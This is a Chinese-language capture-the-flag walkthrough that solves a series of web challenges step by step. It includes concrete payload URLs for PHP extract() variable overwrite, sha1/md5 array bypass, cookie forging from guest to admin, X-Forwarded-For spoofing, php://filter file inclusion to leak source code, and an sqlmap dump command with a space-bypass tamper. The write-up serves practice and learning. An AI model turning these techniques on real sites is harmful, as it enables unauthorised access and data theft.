打开链接
右击,查看页面源码
得到flag
打开,发现
右击,查看源码,在最下面发现flag
打开,查看源码,没有发现有用信息
按F12,查看网络,发现Cookie里藏着flag
打开,发现是代码审计题
审计PHP代码,就是要构造$user ===gou 'xatusec'
构造payload:http://117.34.116.134:8085/xatu/web3/index.php?user=xatusec
得到flag
打开,发现
和web3一样,只是换成了POST方式传参
使用火狐的hackbar传参
得到flag
打开,发现只有一句文字:flag在一个神奇的地方!
查看源码,没有有用信息,按F12也没有发现有用信息
查看url地址,我们发现1ndex.php,将1改为i,发现又跳转回1ndex.php
用burpsuite抓包,将1改为i,重新发请求,得到flag
打开链接
代码审计,百度一下,发现是变量覆盖漏洞
题目使用了extract($_GET)接收了GET请求中的数据,并将键名和键值转换为变量名和变量的值,然后再进行两个if 的条件判断,所以可以使用GET提交参数和值,利用extract()对变量进行覆盖,从而满足各个条件
GET请求 ?b=&a=,extract()会将$b和$a的值覆盖了,将变量的值设置为空或者不存在的文件就满足$a == $content。
breebuf详细讲解`变量漏洞网址:http://www.freebuf.com/column/150731.html
构造payload:http://117.34.116.134:8085/xatu/web6/index.php?b=&a=
得到flag
打开链接,查看源码
需要传递name和password,同时需要name和password不相等,到这里都很简单
然后需要(sha1($_GET['name']) == md5($_GET['password'])
使用常规的用户名密码是无法完成的,这里有一点是sha1无法对数组进行处理,
如果传入的是数组会返回false,
这里我们就只需要传入两个不同的数组即可,既满足用户名密码不相等,
又因为传入的数组导致返回的sha1和md5加密后返回false,就达到了我们的目的,
构造:http://117.34.116.134:8085/xatu/web7/index.php?name[]=1&password[]=2
打开链接
提示未经授权的用户!
按F12,查看网络,发现Cookie中有以下信息
用burpsuite抓包
将user中的Z3Vlc3Q=通过base64解码,得到guest
由页面提示想到,将guest改为admin
将admin转base64:YWRtaW4=
编辑重发:
显示没有登录
将login值改为1,重发
得到flag
打开连接
直接burpsuite 抓包
提示要求必须是本地客户端
那么,使用X-Forwarded-For:127.0.0.1进行ip伪造
有提示可知,需要将User-Agent后面的内容修改为Xatu_Web_Broswer
打开链接,什么都没有,查看源码
发现提示,将include1.php填入url中,仍然什么也没有
但是发现url:http://117.34.116.134:10011/include1.php?file=index
非常像php伪协议
构造一波:http://117.34.116.134:10011/include1.php?file=php://filter/read=convert.base64-encode/resource=include1
得到一串base64加密字符,解码
=100 || $file==="include1" )
{
echo " error!
";
}
else
{
include($file.'.php');
setcookie("tips","include2.php");
}
}
else
{
header('Location:include1.php?file=index');
}
?>
发现其过滤了flag关键字,但是提示其中包含include2.php
再构造一波:http://117.34.116.134:10011/include1.php?file=php://filter/read=convert.base64-encode/resource=include2
得到另一串base64加密字符,解码
=100)
{
echo " error!
";
}
else
{
include($file.'.php');
}
}
else
{
echo "file not found";
}
?>
发现其没有过滤flag关键字,但是过滤了base关键字
百度了一下,可以使用rot13进行构造
发现页面空白,查看源码
得到flag:flag{5d41a03ab1b2a76b9719d911017c592}
打开链接,发现是一个输入框,查看源码,发现其过滤了空格
直接使用sqlmap,sqlmap中的space2comment.py,可以绕过
sqlmap -u "http://117.34.116.134:10004/index.php?id=1" --dbms mysql --tamper "space2comment.py" -D maolaile -T adm1n -C admin --dump
得到flag
本人菜鸟,大佬勿喷!